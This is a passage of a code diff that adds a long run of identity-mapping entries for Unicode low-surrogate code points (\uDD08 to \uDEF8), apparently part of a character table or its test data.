+ ["\uDD08", "\uDD08"], /* Low Surrogate */
+ ["\uDD09", "\uDD09"], /* Low Surrogate */
+ ["\uDD0A", "\uDD0A"], /* Low Surrogate */
+ ["\uDD0B", "\uDD0B"], /* Low Surrogate */
+ ["\uDD0C", "\uDD0C"], /* Low Surrogate */
+ ["\uDD0D", "\uDD0D"], /* Low Surrogate */
+ ["\uDD0E", "\uDD0E"], /* Low Surrogate */
+ ["\uDD0F", "\uDD0F"], /* Low Surrogate */
+ ["\uDD10", "\uDD10"], /* Low Surrogate */
+ ["\uDD11", "\uDD11"], /* Low Surrogate */
+ ["\uDD12", "\uDD12"], /* Low Surrogate */
+ ["\uDD13", "\uDD13"], /* Low Surrogate */
+ ["\uDD14", "\uDD14"], /* Low Surrogate */
+ ["\uDD15", "\uDD15"], /* Low Surrogate */
+ ["\uDD16", "\uDD16"], /* Low Surrogate */
+ ["\uDD17", "\uDD17"], /* Low Surrogate */
+ ["\uDD18", "\uDD18"], /* Low Surrogate */
+ ["\uDD19", "\uDD19"], /* Low Surrogate */
+ ["\uDD1A", "\uDD1A"], /* Low Surrogate */
+ ["\uDD1B", "\uDD1B"], /* Low Surrogate */
+ ["\uDD1C", "\uDD1C"], /* Low Surrogate */
+ ["\uDD1D", "\uDD1D"], /* Low Surrogate */
+ ["\uDD1E", "\uDD1E"], /* Low Surrogate */
+ ["\uDD1F", "\uDD1F"], /* Low Surrogate */
+ ["\uDD20", "\uDD20"], /* Low Surrogate */
+ ["\uDD21", "\uDD21"], /* Low Surrogate */
+ ["\uDD22", "\uDD22"], /* Low Surrogate */
+ ["\uDD23", "\uDD23"], /* Low Surrogate */
+ ["\uDD24", "\uDD24"], /* Low Surrogate */
+ ["\uDD25", "\uDD25"], /* Low Surrogate */
+ ["\uDD26", "\uDD26"], /* Low Surrogate */
+ ["\uDD27", "\uDD27"], /* Low Surrogate */
+ ["\uDD28", "\uDD28"], /* Low Surrogate */
+ ["\uDD29", "\uDD29"], /* Low Surrogate */
+ ["\uDD2A", "\uDD2A"], /* Low Surrogate */
+ ["\uDD2B", "\uDD2B"], /* Low Surrogate */
+ ["\uDD2C", "\uDD2C"], /* Low Surrogate */
+ ["\uDD2D", "\uDD2D"], /* Low Surrogate */
+ ["\uDD2E", "\uDD2E"], /* Low Surrogate */
+ ["\uDD2F", "\uDD2F"], /* Low Surrogate */
+ ["\uDD30", "\uDD30"], /* Low Surrogate */
+ ["\uDD31", "\uDD31"], /* Low Surrogate */
+ ["\uDD32", "\uDD32"], /* Low Surrogate */
+ ["\uDD33", "\uDD33"], /* Low Surrogate */
+ ["\uDD34", "\uDD34"], /* Low Surrogate */
+ ["\uDD35", "\uDD35"], /* Low Surrogate */
+ ["\uDD36", "\uDD36"], /* Low Surrogate */
+ ["\uDD37", "\uDD37"], /* Low Surrogate */
+ ["\uDD38", "\uDD38"], /* Low Surrogate */
+ ["\uDD39", "\uDD39"], /* Low Surrogate */
+ ["\uDD3A", "\uDD3A"], /* Low Surrogate */
+ ["\uDD3B", "\uDD3B"], /* Low Surrogate */
+ ["\uDD3C", "\uDD3C"], /* Low Surrogate */
+ ["\uDD3D", "\uDD3D"], /* Low Surrogate */
+ ["\uDD3E", "\uDD3E"], /* Low Surrogate */
+ ["\uDD3F", "\uDD3F"], /* Low Surrogate */
+ ["\uDD40", "\uDD40"], /* Low Surrogate */
+ ["\uDD41", "\uDD41"], /* Low Surrogate */
+ ["\uDD42", "\uDD42"], /* Low Surrogate */
+ ["\uDD43", "\uDD43"], /* Low Surrogate */
+ ["\uDD44", "\uDD44"], /* Low Surrogate */
+ ["\uDD45", "\uDD45"], /* Low Surrogate */
+ ["\uDD46", "\uDD46"], /* Low Surrogate */
+ ["\uDD47", "\uDD47"], /* Low Surrogate */
+ ["\uDD48", "\uDD48"], /* Low Surrogate */
+ ["\uDD49", "\uDD49"], /* Low Surrogate */
+ ["\uDD4A", "\uDD4A"], /* Low Surrogate */
+ ["\uDD4B", "\uDD4B"], /* Low Surrogate */
+ ["\uDD4C", "\uDD4C"], /* Low Surrogate */
+ ["\uDD4D", "\uDD4D"], /* Low Surrogate */
+ ["\uDD4E", "\uDD4E"], /* Low Surrogate */
+ ["\uDD4F", "\uDD4F"], /* Low Surrogate */
+ ["\uDD50", "\uDD50"], /* Low Surrogate */
+ ["\uDD51", "\uDD51"], /* Low Surrogate */
+ ["\uDD52", "\uDD52"], /* Low Surrogate */
+ ["\uDD53", "\uDD53"], /* Low Surrogate */
+ ["\uDD54", "\uDD54"], /* Low Surrogate */
+ ["\uDD55", "\uDD55"], /* Low Surrogate */
+ ["\uDD56", "\uDD56"], /* Low Surrogate */
+ ["\uDD57", "\uDD57"], /* Low Surrogate */
+ ["\uDD58", "\uDD58"], /* Low Surrogate */
+ ["\uDD59", "\uDD59"], /* Low Surrogate */
+ ["\uDD5A", "\uDD5A"], /* Low Surrogate */
+ ["\uDD5B", "\uDD5B"], /* Low Surrogate */
+ ["\uDD5C", "\uDD5C"], /* Low Surrogate */
+ ["\uDD5D", "\uDD5D"], /* Low Surrogate */
+ ["\uDD5E", "\uDD5E"], /* Low Surrogate */
+ ["\uDD5F", "\uDD5F"], /* Low Surrogate */
+ ["\uDD60", "\uDD60"], /* Low Surrogate */
+ ["\uDD61", "\uDD61"], /* Low Surrogate */
+ ["\uDD62", "\uDD62"], /* Low Surrogate */
+ ["\uDD63", "\uDD63"], /* Low Surrogate */
+ ["\uDD64", "\uDD64"], /* Low Surrogate */
+ ["\uDD65", "\uDD65"], /* Low Surrogate */
+ ["\uDD66", "\uDD66"], /* Low Surrogate */
+ ["\uDD67", "\uDD67"], /* Low Surrogate */
+ ["\uDD68", "\uDD68"], /* Low Surrogate */
+ ["\uDD69", "\uDD69"], /* Low Surrogate */
+ ["\uDD6A", "\uDD6A"], /* Low Surrogate */
+ ["\uDD6B", "\uDD6B"], /* Low Surrogate */
+ ["\uDD6C", "\uDD6C"], /* Low Surrogate */
+ ["\uDD6D", "\uDD6D"], /* Low Surrogate */
+ ["\uDD6E", "\uDD6E"], /* Low Surrogate */
+ ["\uDD6F", "\uDD6F"], /* Low Surrogate */
+ ["\uDD70", "\uDD70"], /* Low Surrogate */
+ ["\uDD71", "\uDD71"], /* Low Surrogate */
+ ["\uDD72", "\uDD72"], /* Low Surrogate */
+ ["\uDD73", "\uDD73"], /* Low Surrogate */
+ ["\uDD74", "\uDD74"], /* Low Surrogate */
+ ["\uDD75", "\uDD75"], /* Low Surrogate */
+ ["\uDD76", "\uDD76"], /* Low Surrogate */
+ ["\uDD77", "\uDD77"], /* Low Surrogate */
+ ["\uDD78", "\uDD78"], /* Low Surrogate */
+ ["\uDD79", "\uDD79"], /* Low Surrogate */
+ ["\uDD7A", "\uDD7A"], /* Low Surrogate */
+ ["\uDD7B", "\uDD7B"], /* Low Surrogate */
+ ["\uDD7C", "\uDD7C"], /* Low Surrogate */
+ ["\uDD7D", "\uDD7D"], /* Low Surrogate */
+ ["\uDD7E", "\uDD7E"], /* Low Surrogate */
+ ["\uDD7F", "\uDD7F"], /* Low Surrogate */
+ ["\uDD80", "\uDD80"], /* Low Surrogate */
+ ["\uDD81", "\uDD81"], /* Low Surrogate */
+ ["\uDD82", "\uDD82"], /* Low Surrogate */
+ ["\uDD83", "\uDD83"], /* Low Surrogate */
+ ["\uDD84", "\uDD84"], /* Low Surrogate */
+ ["\uDD85", "\uDD85"], /* Low Surrogate */
+ ["\uDD86", "\uDD86"], /* Low Surrogate */
+ ["\uDD87", "\uDD87"], /* Low Surrogate */
+ ["\uDD88", "\uDD88"], /* Low Surrogate */
+ ["\uDD89", "\uDD89"], /* Low Surrogate */
+ ["\uDD8A", "\uDD8A"], /* Low Surrogate */
+ ["\uDD8B", "\uDD8B"], /* Low Surrogate */
+ ["\uDD8C", "\uDD8C"], /* Low Surrogate */
+ ["\uDD8D", "\uDD8D"], /* Low Surrogate */
+ ["\uDD8E", "\uDD8E"], /* Low Surrogate */
+ ["\uDD8F", "\uDD8F"], /* Low Surrogate */
+ ["\uDD90", "\uDD90"], /* Low Surrogate */
+ ["\uDD91", "\uDD91"], /* Low Surrogate */
+ ["\uDD92", "\uDD92"], /* Low Surrogate */
+ ["\uDD93", "\uDD93"], /* Low Surrogate */
+ ["\uDD94", "\uDD94"], /* Low Surrogate */
+ ["\uDD95", "\uDD95"], /* Low Surrogate */
+ ["\uDD96", "\uDD96"], /* Low Surrogate */
+ ["\uDD97", "\uDD97"], /* Low Surrogate */
+ ["\uDD98", "\uDD98"], /* Low Surrogate */
+ ["\uDD99", "\uDD99"], /* Low Surrogate */
+ ["\uDD9A", "\uDD9A"], /* Low Surrogate */
+ ["\uDD9B", "\uDD9B"], /* Low Surrogate */
+ ["\uDD9C", "\uDD9C"], /* Low Surrogate */
+ ["\uDD9D", "\uDD9D"], /* Low Surrogate */
+ ["\uDD9E", "\uDD9E"], /* Low Surrogate */
+ ["\uDD9F", "\uDD9F"], /* Low Surrogate */
+ ["\uDDA0", "\uDDA0"], /* Low Surrogate */
+ ["\uDDA1", "\uDDA1"], /* Low Surrogate */
+ ["\uDDA2", "\uDDA2"], /* Low Surrogate */
+ ["\uDDA3", "\uDDA3"], /* Low Surrogate */
+ ["\uDDA4", "\uDDA4"], /* Low Surrogate */
+ ["\uDDA5", "\uDDA5"], /* Low Surrogate */
+ ["\uDDA6", "\uDDA6"], /* Low Surrogate */
+ ["\uDDA7", "\uDDA7"], /* Low Surrogate */
+ ["\uDDA8", "\uDDA8"], /* Low Surrogate */
+ ["\uDDA9", "\uDDA9"], /* Low Surrogate */
+ ["\uDDAA", "\uDDAA"], /* Low Surrogate */
+ ["\uDDAB", "\uDDAB"], /* Low Surrogate */
+ ["\uDDAC", "\uDDAC"], /* Low Surrogate */
+ ["\uDDAD", "\uDDAD"], /* Low Surrogate */
+ ["\uDDAE", "\uDDAE"], /* Low Surrogate */
+ ["\uDDAF", "\uDDAF"], /* Low Surrogate */
+ ["\uDDB0", "\uDDB0"], /* Low Surrogate */
+ ["\uDDB1", "\uDDB1"], /* Low Surrogate */
+ ["\uDDB2", "\uDDB2"], /* Low Surrogate */
+ ["\uDDB3", "\uDDB3"], /* Low Surrogate */
+ ["\uDDB4", "\uDDB4"], /* Low Surrogate */
+ ["\uDDB5", "\uDDB5"], /* Low Surrogate */
+ ["\uDDB6", "\uDDB6"], /* Low Surrogate */
+ ["\uDDB7", "\uDDB7"], /* Low Surrogate */
+ ["\uDDB8", "\uDDB8"], /* Low Surrogate */
+ ["\uDDB9", "\uDDB9"], /* Low Surrogate */
+ ["\uDDBA", "\uDDBA"], /* Low Surrogate */
+ ["\uDDBB", "\uDDBB"], /* Low Surrogate */
+ ["\uDDBC", "\uDDBC"], /* Low Surrogate */
+ ["\uDDBD", "\uDDBD"], /* Low Surrogate */
+ ["\uDDBE", "\uDDBE"], /* Low Surrogate */
+ ["\uDDBF", "\uDDBF"], /* Low Surrogate */
+ ["\uDDC0", "\uDDC0"], /* Low Surrogate */
+ ["\uDDC1", "\uDDC1"], /* Low Surrogate */
+ ["\uDDC2", "\uDDC2"], /* Low Surrogate */
+ ["\uDDC3", "\uDDC3"], /* Low Surrogate */
+ ["\uDDC4", "\uDDC4"], /* Low Surrogate */
+ ["\uDDC5", "\uDDC5"], /* Low Surrogate */
+ ["\uDDC6", "\uDDC6"], /* Low Surrogate */
+ ["\uDDC7", "\uDDC7"], /* Low Surrogate */
+ ["\uDDC8", "\uDDC8"], /* Low Surrogate */
+ ["\uDDC9", "\uDDC9"], /* Low Surrogate */
+ ["\uDDCA", "\uDDCA"], /* Low Surrogate */
+ ["\uDDCB", "\uDDCB"], /* Low Surrogate */
+ ["\uDDCC", "\uDDCC"], /* Low Surrogate */
+ ["\uDDCD", "\uDDCD"], /* Low Surrogate */
+ ["\uDDCE", "\uDDCE"], /* Low Surrogate */
+ ["\uDDCF", "\uDDCF"], /* Low Surrogate */
+ ["\uDDD0", "\uDDD0"], /* Low Surrogate */
+ ["\uDDD1", "\uDDD1"], /* Low Surrogate */
+ ["\uDDD2", "\uDDD2"], /* Low Surrogate */
+ ["\uDDD3", "\uDDD3"], /* Low Surrogate */
+ ["\uDDD4", "\uDDD4"], /* Low Surrogate */
+ ["\uDDD5", "\uDDD5"], /* Low Surrogate */
+ ["\uDDD6", "\uDDD6"], /* Low Surrogate */
+ ["\uDDD7", "\uDDD7"], /* Low Surrogate */
+ ["\uDDD8", "\uDDD8"], /* Low Surrogate */
+ ["\uDDD9", "\uDDD9"], /* Low Surrogate */
+ ["\uDDDA", "\uDDDA"], /* Low Surrogate */
+ ["\uDDDB", "\uDDDB"], /* Low Surrogate */
+ ["\uDDDC", "\uDDDC"], /* Low Surrogate */
+ ["\uDDDD", "\uDDDD"], /* Low Surrogate */
+ ["\uDDDE", "\uDDDE"], /* Low Surrogate */
+ ["\uDDDF", "\uDDDF"], /* Low Surrogate */
+ ["\uDDE0", "\uDDE0"], /* Low Surrogate */
+ ["\uDDE1", "\uDDE1"], /* Low Surrogate */
+ ["\uDDE2", "\uDDE2"], /* Low Surrogate */
+ ["\uDDE3", "\uDDE3"], /* Low Surrogate */
+ ["\uDDE4", "\uDDE4"], /* Low Surrogate */
+ ["\uDDE5", "\uDDE5"], /* Low Surrogate */
+ ["\uDDE6", "\uDDE6"], /* Low Surrogate */
+ ["\uDDE7", "\uDDE7"], /* Low Surrogate */
+ ["\uDDE8", "\uDDE8"], /* Low Surrogate */
+ ["\uDDE9", "\uDDE9"], /* Low Surrogate */
+ ["\uDDEA", "\uDDEA"], /* Low Surrogate */
+ ["\uDDEB", "\uDDEB"], /* Low Surrogate */
+ ["\uDDEC", "\uDDEC"], /* Low Surrogate */
+ ["\uDDED", "\uDDED"], /* Low Surrogate */
+ ["\uDDEE", "\uDDEE"], /* Low Surrogate */
+ ["\uDDEF", "\uDDEF"], /* Low Surrogate */
+ ["\uDDF0", "\uDDF0"], /* Low Surrogate */
+ ["\uDDF1", "\uDDF1"], /* Low Surrogate */
+ ["\uDDF2", "\uDDF2"], /* Low Surrogate */
+ ["\uDDF3", "\uDDF3"], /* Low Surrogate */
+ ["\uDDF4", "\uDDF4"], /* Low Surrogate */
+ ["\uDDF5", "\uDDF5"], /* Low Surrogate */
+ ["\uDDF6", "\uDDF6"], /* Low Surrogate */
+ ["\uDDF7", "\uDDF7"], /* Low Surrogate */
+ ["\uDDF8", "\uDDF8"], /* Low Surrogate */
+ ["\uDDF9", "\uDDF9"], /* Low Surrogate */
+ ["\uDDFA", "\uDDFA"], /* Low Surrogate */
+ ["\uDDFB", "\uDDFB"], /* Low Surrogate */
+ ["\uDDFC", "\uDDFC"], /* Low Surrogate */
+ ["\uDDFD", "\uDDFD"], /* Low Surrogate */
+ ["\uDDFE", "\uDDFE"], /* Low Surrogate */
+ ["\uDDFF", "\uDDFF"], /* Low Surrogate */
+ ["\uDE00", "\uDE00"], /* Low Surrogate */
+ ["\uDE01", "\uDE01"], /* Low Surrogate */
+ ["\uDE02", "\uDE02"], /* Low Surrogate */
+ ["\uDE03", "\uDE03"], /* Low Surrogate */
+ ["\uDE04", "\uDE04"], /* Low Surrogate */
+ ["\uDE05", "\uDE05"], /* Low Surrogate */
+ ["\uDE06", "\uDE06"], /* Low Surrogate */
+ ["\uDE07", "\uDE07"], /* Low Surrogate */
+ ["\uDE08", "\uDE08"], /* Low Surrogate */
+ ["\uDE09", "\uDE09"], /* Low Surrogate */
+ ["\uDE0A", "\uDE0A"], /* Low Surrogate */
+ ["\uDE0B", "\uDE0B"], /* Low Surrogate */
+ ["\uDE0C", "\uDE0C"], /* Low Surrogate */
+ ["\uDE0D", "\uDE0D"], /* Low Surrogate */
+ ["\uDE0E", "\uDE0E"], /* Low Surrogate */
+ ["\uDE0F", "\uDE0F"], /* Low Surrogate */
+ ["\uDE10", "\uDE10"], /* Low Surrogate */
+ ["\uDE11", "\uDE11"], /* Low Surrogate */
+ ["\uDE12", "\uDE12"], /* Low Surrogate */
+ ["\uDE13", "\uDE13"], /* Low Surrogate */
+ ["\uDE14", "\uDE14"], /* Low Surrogate */
+ ["\uDE15", "\uDE15"], /* Low Surrogate */
+ ["\uDE16", "\uDE16"], /* Low Surrogate */
+ ["\uDE17", "\uDE17"], /* Low Surrogate */
+ ["\uDE18", "\uDE18"], /* Low Surrogate */
+ ["\uDE19", "\uDE19"], /* Low Surrogate */
+ ["\uDE1A", "\uDE1A"], /* Low Surrogate */
+ ["\uDE1B", "\uDE1B"], /* Low Surrogate */
+ ["\uDE1C", "\uDE1C"], /* Low Surrogate */
+ ["\uDE1D", "\uDE1D"], /* Low Surrogate */
+ ["\uDE1E", "\uDE1E"], /* Low Surrogate */
+ ["\uDE1F", "\uDE1F"], /* Low Surrogate */
+ ["\uDE20", "\uDE20"], /* Low Surrogate */
+ ["\uDE21", "\uDE21"], /* Low Surrogate */
+ ["\uDE22", "\uDE22"], /* Low Surrogate */
+ ["\uDE23", "\uDE23"], /* Low Surrogate */
+ ["\uDE24", "\uDE24"], /* Low Surrogate */
+ ["\uDE25", "\uDE25"], /* Low Surrogate */
+ ["\uDE26", "\uDE26"], /* Low Surrogate */
+ ["\uDE27", "\uDE27"], /* Low Surrogate */
+ ["\uDE28", "\uDE28"], /* Low Surrogate */
+ ["\uDE29", "\uDE29"], /* Low Surrogate */
+ ["\uDE2A", "\uDE2A"], /* Low Surrogate */
+ ["\uDE2B", "\uDE2B"], /* Low Surrogate */
+ ["\uDE2C", "\uDE2C"], /* Low Surrogate */
+ ["\uDE2D", "\uDE2D"], /* Low Surrogate */
+ ["\uDE2E", "\uDE2E"], /* Low Surrogate */
+ ["\uDE2F", "\uDE2F"], /* Low Surrogate */
+ ["\uDE30", "\uDE30"], /* Low Surrogate */
+ ["\uDE31", "\uDE31"], /* Low Surrogate */
+ ["\uDE32", "\uDE32"], /* Low Surrogate */
+ ["\uDE33", "\uDE33"], /* Low Surrogate */
+ ["\uDE34", "\uDE34"], /* Low Surrogate */
+ ["\uDE35", "\uDE35"], /* Low Surrogate */
+ ["\uDE36", "\uDE36"], /* Low Surrogate */
+ ["\uDE37", "\uDE37"], /* Low Surrogate */
+ ["\uDE38", "\uDE38"], /* Low Surrogate */
+ ["\uDE39", "\uDE39"], /* Low Surrogate */
+ ["\uDE3A", "\uDE3A"], /* Low Surrogate */
+ ["\uDE3B", "\uDE3B"], /* Low Surrogate */
+ ["\uDE3C", "\uDE3C"], /* Low Surrogate */
+ ["\uDE3D", "\uDE3D"], /* Low Surrogate */
+ ["\uDE3E", "\uDE3E"], /* Low Surrogate */
+ ["\uDE3F", "\uDE3F"], /* Low Surrogate */
+ ["\uDE40", "\uDE40"], /* Low Surrogate */
+ ["\uDE41", "\uDE41"], /* Low Surrogate */
+ ["\uDE42", "\uDE42"], /* Low Surrogate */
+ ["\uDE43", "\uDE43"], /* Low Surrogate */
+ ["\uDE44", "\uDE44"], /* Low Surrogate */
+ ["\uDE45", "\uDE45"], /* Low Surrogate */
+ ["\uDE46", "\uDE46"], /* Low Surrogate */
+ ["\uDE47", "\uDE47"], /* Low Surrogate */
+ ["\uDE48", "\uDE48"], /* Low Surrogate */
+ ["\uDE49", "\uDE49"], /* Low Surrogate */
+ ["\uDE4A", "\uDE4A"], /* Low Surrogate */
+ ["\uDE4B", "\uDE4B"], /* Low Surrogate */
+ ["\uDE4C", "\uDE4C"], /* Low Surrogate */
+ ["\uDE4D", "\uDE4D"], /* Low Surrogate */
+ ["\uDE4E", "\uDE4E"], /* Low Surrogate */
+ ["\uDE4F", "\uDE4F"], /* Low Surrogate */
+ ["\uDE50", "\uDE50"], /* Low Surrogate */
+ ["\uDE51", "\uDE51"], /* Low Surrogate */
+ ["\uDE52", "\uDE52"], /* Low Surrogate */
+ ["\uDE53", "\uDE53"], /* Low Surrogate */
+ ["\uDE54", "\uDE54"], /* Low Surrogate */
+ ["\uDE55", "\uDE55"], /* Low Surrogate */
+ ["\uDE56", "\uDE56"], /* Low Surrogate */
+ ["\uDE57", "\uDE57"], /* Low Surrogate */
+ ["\uDE58", "\uDE58"], /* Low Surrogate */
+ ["\uDE59", "\uDE59"], /* Low Surrogate */
+ ["\uDE5A", "\uDE5A"], /* Low Surrogate */
+ ["\uDE5B", "\uDE5B"], /* Low Surrogate */
+ ["\uDE5C", "\uDE5C"], /* Low Surrogate */
+ ["\uDE5D", "\uDE5D"], /* Low Surrogate */
+ ["\uDE5E", "\uDE5E"], /* Low Surrogate */
+ ["\uDE5F", "\uDE5F"], /* Low Surrogate */
+ ["\uDE60", "\uDE60"], /* Low Surrogate */
+ ["\uDE61", "\uDE61"], /* Low Surrogate */
+ ["\uDE62", "\uDE62"], /* Low Surrogate */
+ ["\uDE63", "\uDE63"], /* Low Surrogate */
+ ["\uDE64", "\uDE64"], /* Low Surrogate */
+ ["\uDE65", "\uDE65"], /* Low Surrogate */
+ ["\uDE66", "\uDE66"], /* Low Surrogate */
+ ["\uDE67", "\uDE67"], /* Low Surrogate */
+ ["\uDE68", "\uDE68"], /* Low Surrogate */
+ ["\uDE69", "\uDE69"], /* Low Surrogate */
+ ["\uDE6A", "\uDE6A"], /* Low Surrogate */
+ ["\uDE6B", "\uDE6B"], /* Low Surrogate */
+ ["\uDE6C", "\uDE6C"], /* Low Surrogate */
+ ["\uDE6D", "\uDE6D"], /* Low Surrogate */
+ ["\uDE6E", "\uDE6E"], /* Low Surrogate */
+ ["\uDE6F", "\uDE6F"], /* Low Surrogate */
+ ["\uDE70", "\uDE70"], /* Low Surrogate */
+ ["\uDE71", "\uDE71"], /* Low Surrogate */
+ ["\uDE72", "\uDE72"], /* Low Surrogate */
+ ["\uDE73", "\uDE73"], /* Low Surrogate */
+ ["\uDE74", "\uDE74"], /* Low Surrogate */
+ ["\uDE75", "\uDE75"], /* Low Surrogate */
+ ["\uDE76", "\uDE76"], /* Low Surrogate */
+ ["\uDE77", "\uDE77"], /* Low Surrogate */
+ ["\uDE78", "\uDE78"], /* Low Surrogate */
+ ["\uDE79", "\uDE79"], /* Low Surrogate */
+ ["\uDE7A", "\uDE7A"], /* Low Surrogate */
+ ["\uDE7B", "\uDE7B"], /* Low Surrogate */
+ ["\uDE7C", "\uDE7C"], /* Low Surrogate */
+ ["\uDE7D", "\uDE7D"], /* Low Surrogate */
+ ["\uDE7E", "\uDE7E"], /* Low Surrogate */
+ ["\uDE7F", "\uDE7F"], /* Low Surrogate */
+ ["\uDE80", "\uDE80"], /* Low Surrogate */
+ ["\uDE81", "\uDE81"], /* Low Surrogate */
+ ["\uDE82", "\uDE82"], /* Low Surrogate */
+ ["\uDE83", "\uDE83"], /* Low Surrogate */
+ ["\uDE84", "\uDE84"], /* Low Surrogate */
+ ["\uDE85", "\uDE85"], /* Low Surrogate */
+ ["\uDE86", "\uDE86"], /* Low Surrogate */
+ ["\uDE87", "\uDE87"], /* Low Surrogate */
+ ["\uDE88", "\uDE88"], /* Low Surrogate */
+ ["\uDE89", "\uDE89"], /* Low Surrogate */
+ ["\uDE8A", "\uDE8A"], /* Low Surrogate */
+ ["\uDE8B", "\uDE8B"], /* Low Surrogate */
+ ["\uDE8C", "\uDE8C"], /* Low Surrogate */
+ ["\uDE8D", "\uDE8D"], /* Low Surrogate */
+ ["\uDE8E", "\uDE8E"], /* Low Surrogate */
+ ["\uDE8F", "\uDE8F"], /* Low Surrogate */
+ ["\uDE90", "\uDE90"], /* Low Surrogate */
+ ["\uDE91", "\uDE91"], /* Low Surrogate */
+ ["\uDE92", "\uDE92"], /* Low Surrogate */
+ ["\uDE93", "\uDE93"], /* Low Surrogate */
+ ["\uDE94", "\uDE94"], /* Low Surrogate */
+ ["\uDE95", "\uDE95"], /* Low Surrogate */
+ ["\uDE96", "\uDE96"], /* Low Surrogate */
+ ["\uDE97", "\uDE97"], /* Low Surrogate */
+ ["\uDE98", "\uDE98"], /* Low Surrogate */
+ ["\uDE99", "\uDE99"], /* Low Surrogate */
+ ["\uDE9A", "\uDE9A"], /* Low Surrogate */
+ ["\uDE9B", "\uDE9B"], /* Low Surrogate */
+ ["\uDE9C", "\uDE9C"], /* Low Surrogate */
+ ["\uDE9D", "\uDE9D"], /* Low Surrogate */
+ ["\uDE9E", "\uDE9E"], /* Low Surrogate */
+ ["\uDE9F", "\uDE9F"], /* Low Surrogate */
+ ["\uDEA0", "\uDEA0"], /* Low Surrogate */
+ ["\uDEA1", "\uDEA1"], /* Low Surrogate */
+ ["\uDEA2", "\uDEA2"], /* Low Surrogate */
+ ["\uDEA3", "\uDEA3"], /* Low Surrogate */
+ ["\uDEA4", "\uDEA4"], /* Low Surrogate */
+ ["\uDEA5", "\uDEA5"], /* Low Surrogate */
+ ["\uDEA6", "\uDEA6"], /* Low Surrogate */
+ ["\uDEA7", "\uDEA7"], /* Low Surrogate */
+ ["\uDEA8", "\uDEA8"], /* Low Surrogate */
+ ["\uDEA9", "\uDEA9"], /* Low Surrogate */
+ ["\uDEAA", "\uDEAA"], /* Low Surrogate */
+ ["\uDEAB", "\uDEAB"], /* Low Surrogate */
+ ["\uDEAC", "\uDEAC"], /* Low Surrogate */
+ ["\uDEAD", "\uDEAD"], /* Low Surrogate */
+ ["\uDEAE", "\uDEAE"], /* Low Surrogate */
+ ["\uDEAF", "\uDEAF"], /* Low Surrogate */
+ ["\uDEB0", "\uDEB0"], /* Low Surrogate */
+ ["\uDEB1", "\uDEB1"], /* Low Surrogate */
+ ["\uDEB2", "\uDEB2"], /* Low Surrogate */
+ ["\uDEB3", "\uDEB3"], /* Low Surrogate */
+ ["\uDEB4", "\uDEB4"], /* Low Surrogate */
+ ["\uDEB5", "\uDEB5"], /* Low Surrogate */
+ ["\uDEB6", "\uDEB6"], /* Low Surrogate */
+ ["\uDEB7", "\uDEB7"], /* Low Surrogate */
+ ["\uDEB8", "\uDEB8"], /* Low Surrogate */
+ ["\uDEB9", "\uDEB9"], /* Low Surrogate */
+ ["\uDEBA", "\uDEBA"], /* Low Surrogate */
+ ["\uDEBB", "\uDEBB"], /* Low Surrogate */
+ ["\uDEBC", "\uDEBC"], /* Low Surrogate */
+ ["\uDEBD", "\uDEBD"], /* Low Surrogate */
+ ["\uDEBE", "\uDEBE"], /* Low Surrogate */
+ ["\uDEBF", "\uDEBF"], /* Low Surrogate */
+ ["\uDEC0", "\uDEC0"], /* Low Surrogate */
+ ["\uDEC1", "\uDEC1"], /* Low Surrogate */
+ ["\uDEC2", "\uDEC2"], /* Low Surrogate */
+ ["\uDEC3", "\uDEC3"], /* Low Surrogate */
+ ["\uDEC4", "\uDEC4"], /* Low Surrogate */
+ ["\uDEC5", "\uDEC5"], /* Low Surrogate */
+ ["\uDEC6", "\uDEC6"], /* Low Surrogate */
+ ["\uDEC7", "\uDEC7"], /* Low Surrogate */
+ ["\uDEC8", "\uDEC8"], /* Low Surrogate */
+ ["\uDEC9", "\uDEC9"], /* Low Surrogate */
+ ["\uDECA", "\uDECA"], /* Low Surrogate */
+ ["\uDECB", "\uDECB"], /* Low Surrogate */
+ ["\uDECC", "\uDECC"], /* Low Surrogate */
+ ["\uDECD", "\uDECD"], /* Low Surrogate */
+ ["\uDECE", "\uDECE"], /* Low Surrogate */
+ ["\uDECF", "\uDECF"], /* Low Surrogate */
+ ["\uDED0", "\uDED0"], /* Low Surrogate */
+ ["\uDED1", "\uDED1"], /* Low Surrogate */
+ ["\uDED2", "\uDED2"], /* Low Surrogate */
+ ["\uDED3", "\uDED3"], /* Low Surrogate */
+ ["\uDED4", "\uDED4"], /* Low Surrogate */
+ ["\uDED5", "\uDED5"], /* Low Surrogate */
+ ["\uDED6", "\uDED6"], /* Low Surrogate */
+ ["\uDED7", "\uDED7"], /* Low Surrogate */
+ ["\uDED8", "\uDED8"], /* Low Surrogate */
+ ["\uDED9", "\uDED9"], /* Low Surrogate */
+ ["\uDEDA", "\uDEDA"], /* Low Surrogate */
+ ["\uDEDB", "\uDEDB"], /* Low Surrogate */
+ ["\uDEDC", "\uDEDC"], /* Low Surrogate */
+ ["\uDEDD", "\uDEDD"], /* Low Surrogate */
+ ["\uDEDE", "\uDEDE"], /* Low Surrogate */
+ ["\uDEDF", "\uDEDF"], /* Low Surrogate */
+ ["\uDEE0", "\uDEE0"], /* Low Surrogate */
+ ["\uDEE1", "\uDEE1"], /* Low Surrogate */
+ ["\uDEE2", "\uDEE2"], /* Low Surrogate */
+ ["\uDEE3", "\uDEE3"], /* Low Surrogate */
+ ["\uDEE4", "\uDEE4"], /* Low Surrogate */
+ ["\uDEE5", "\uDEE5"], /* Low Surrogate */
+ ["\uDEE6", "\uDEE6"], /* Low Surrogate */
+ ["\uDEE7", "\uDEE7"], /* Low Surrogate */
+ ["\uDEE8", "\uDEE8"], /* Low Surrogate */
+ ["\uDEE9", "\uDEE9"], /* Low Surrogate */
+ ["\uDEEA", "\uDEEA"], /* Low Surrogate */
+ ["\uDEEB", "\uDEEB"], /* Low Surrogate */
+ ["\uDEEC", "\uDEEC"], /* Low Surrogate */
+ ["\uDEED", "\uDEED"], /* Low Surrogate */
+ ["\uDEEE", "\uDEEE"], /* Low Surrogate */
+ ["\uDEEF", "\uDEEF"], /* Low Surrogate */
+ ["\uDEF0", "\uDEF0"], /* Low Surrogate */
+ ["\uDEF1", "\uDEF1"], /* Low Surrogate */
+ ["\uDEF2", "\uDEF2"], /* Low Surrogate */
+ ["\uDEF3", "\uDEF3"], /* Low Surrogate */
+ ["\uDEF4", "\uDEF4"], /* Low Surrogate */
+ ["\uDEF5", "\uDEF5"], /* Low Surrogate */
+ ["\uDEF6", "\uDEF6"], /* Low Surrogate */
+ ["\uDEF7", "\uDEF7"], /* Low Surrogate */
+ ["\uDEF8", "\uDEF8"], /* Low Surrogate */
